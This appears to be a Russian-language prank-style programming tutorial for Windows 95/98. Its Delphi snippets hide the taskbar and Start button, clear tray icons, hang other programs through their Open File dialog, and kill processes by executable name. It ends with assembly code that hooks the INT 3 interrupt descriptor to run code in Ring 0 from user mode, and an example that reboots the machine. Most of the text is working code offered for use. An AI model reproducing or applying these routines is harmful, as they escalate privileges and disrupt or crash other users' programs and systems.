Тема сегодняшнего издевательства - System Tray ;)). Попробуем задизейблить его! Находим окно отвечающее за таскбар и делаем ему Hide. Главное - это знать класс окна, которое ищем, он естественно нигде не описан, но я его случайно узнал! ;-). В дельфи это выглялит так: procedure TForm1.HideButtonClick(Sender: TObject); {прячем таскбар} var H:Integer; begin H:=FindWindow('Shell_TrayWnd', nil); {находим хандл окна таскбара} if (H=0) then Application.MessageBox('Window not found', nil, IDOK) {а вдруг не нашли ?! 8-)} else ShowWindow(H, SW_HIDE); {делаем его невидимым} end; procedure TForm1.ShowButtonClick(Sender: TObject); {показываем таскбар} var H:Integer; begin H:=FindWindow('Shell_TrayWnd', nil); {находим хандл окна таскбара} if (H=0) then Application.MessageBox('Window not found', nil, IDOK) {а вдруг не нашли ?! 8-)} else ShowWindow(H, SW_SHOW); {делаем его видимым} end; Есть предложение продолжить тему трея... Теперь обсудим, как снять приложения, сидящие в трее. procedure TForm3.Button1Click(Sender: TObject); var hWnd : THandle; R : TRect; I : Integer; begin hWnd := FindWindow( 'Shell_TrayWnd', NIL ); hWnd := FindWindowEx( hWnd, 0, 'TrayNotifyWnd', NIL ); GetWindowRect( hWnd, R ); for I := 1 to R.Right - R.Left do SendMessage( hWnd, WM_MOUSEMOVE, 0, I + (R.Bottom - R.Top) div 2 shl 16 ); end; Убирает с таскбара иконки всех снятых приложений. Теперь, побалуемся с кнопкой ПУСК... Uses TypInfo; Var hTaskBar, hButton: HWND; begin hTaskBar:= FindWindow('Shell_TrayWnd', nil); hButton:= GetWindow(hTaskBar, GW_CHILD); // Hажать кнопку "Пуск" SendMessage(hButton, WM_LBUTTONDOWN, MK_LBUTTON,LoWord(5)+HiWord(Screen.Height-20)); // Убpать кнопку "Пуск" ShowWindow(hButton, SW_HIDE); // Показать кнопку "Пуск" ShowWindow(hButton, SW_NORMAL); end. Пора и завесить что нибудь ;)). Вот кусок кода, который завешивает проги, как нефиг делать! (Только с OpenFile Dialog) procedure TForm1.Button1Click(Sender: TObject); var hWnd, hList : THandle; begin hWnd := FindWindow( PChar(32770), NIL ); // 32770 - ID диалога FileOpen (Win95 OSR2) // потенциально у других (98, NT) может быть другим // тогда надо подставить корректный - look in WinSight32 hList := FindWindowEx( hWnd, 0, 'COMBOBOX', NIL ); SendMessage( hList, CB_SETITEMDATA, 0, 1 ); SendMessage( hList, CB_SHOWDROPDOWN, 1, 0 ); end; Попробуем теперь убить приложения, зная имя его exe ;)). Uses tlhelp32; Function KillTask(FileName:String):integer; //0 - пpибить не полyчилось var ContinueLoop:BOOL; FSnapshotHandle:THandle; FProcessEntry32:TProcessEntry32; const PROCESS_TERMINATE=01; begin FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); FProcessEntry32.dwSize:=Sizeof(FProcessEntry32); ContinueLoop:=Process32First(FSnapshotHandle,FProcessEntry32); while integer(ContinueLoop)<>0 do begin if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile))=UpperCase(FileName)) or (UpperCase(FProcessEntry32.szExeFile)=UpperCase(FileName))) then Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE,BOOL(0), FProcessEntry32.th32ProcessID),0)); ContinueLoop:=Process32Next(FSnapshotHandle,FProcessEntry32); end; CloseHandle(FSnapshotHandle); end; Надоело работать в Ring3? Ну тогда, welcome в Ring0. Правда только под мастдаем (Win9x), но, тоже приятно ;)). .386p .model flat .data db 0 .code open_RING0_function: pushad call init_open_RING0_function init_open_RING0_function: pop ebp sub ebp,offset (init_open_RING0_function-open_RING0_function) sub esp,4 sidt fword ptr [esp-02] ;Линейный адpесс IDT pop ebx add ebx,3*8h cli ;Беpем стаpый обpаботчик пpеpывания INT 3 mov edi,[ebx+4] mov di,[ebx] ;Hаш обpаботчик INT 3 lea esi,[ebp+obr_INT3-open_RING0_function] mov [ebx],si ;Пеpвая половина смещения обpаботчика INT3 shr esi,10h mov [ebx+06],si ;Втоpая половина смещения обpаботчика INT3 ;Вход: EDI - стаpый обpаботчик ; EBX - линейный адpесс дескpиптоpа INT 3 mov ax,01h int 3h popad retn ;---------------------------------------------------------------------------- ;Текущие функции: ;AX = 1 - Инициализация RING0_function ;Вход: EDI - стаpый обpаботчик ; EBX - линейный адpесс дескpиптоpа INT 3 ;AX = 2 - Убpать обpаботчик функций RING3 (пpи выходе) ;AX = 3 - Выполнить подпpогpамму как задачу RING 0 ;Вход: EDI - смещение подпpогpаммы obr_INT3: push ebp call init_obr_INT3 init_obr_INT3: pop ebp sub ebp,offset (init_obr_INT3-obr_INT3) ;Сдесь можно опpеделить свои функции RING0 cmp ax,01h ;Инициализация функций RING0 (не использовать) jz init_RING0_function cmp ax,02h ;Remove RING 0 функций jz remove_RING0_function cmp ax,03h jz call_RING0 function_complite: pop ebp function_complite_without_popebp: iretd init_RING0_function: mov dword ptr [ebp+old_IN3_base_addr-obr_INT3],edi mov dword ptr [ebp+IDT_base_addr-obr_INT3],ebx jmp function_complite remove_RING0_function: push ebx esi mov ebx,dword ptr [ebp+IDT_base_addr-obr_INT3] mov esi,dword ptr [ebp+old_IN3_base_addr-obr_INT3] mov [ebx],si shr esi,10h mov [ebx+06],si pop esi ebx jmp function_complite call_RING0: pop ebp call edi jmp function_complite_without_popebp old_IN3_base_addr dd 0 IDT_base_addr dd 0 END А вот и примерчик использования: .386p .model flat .data db 0 .code start: ;Сдесь Windows 95/98 дала нам CPL=3 call open_RING0_function ;Запускаем пpоцедуpу с пpевелегиями RING0 mov ax,3 mov edi,offset rst32_ring0 int 3h ;---------------------------------------------------------------------------- rst32_ring0: cli mov al,0feh out 64h,al hlt ;---------------------------------------------------------------------------- ;Функции RING0 include ring0_32.asm ;---------------------------------------------------------------------------- end start Ну, теперь уже лучше? ;)). |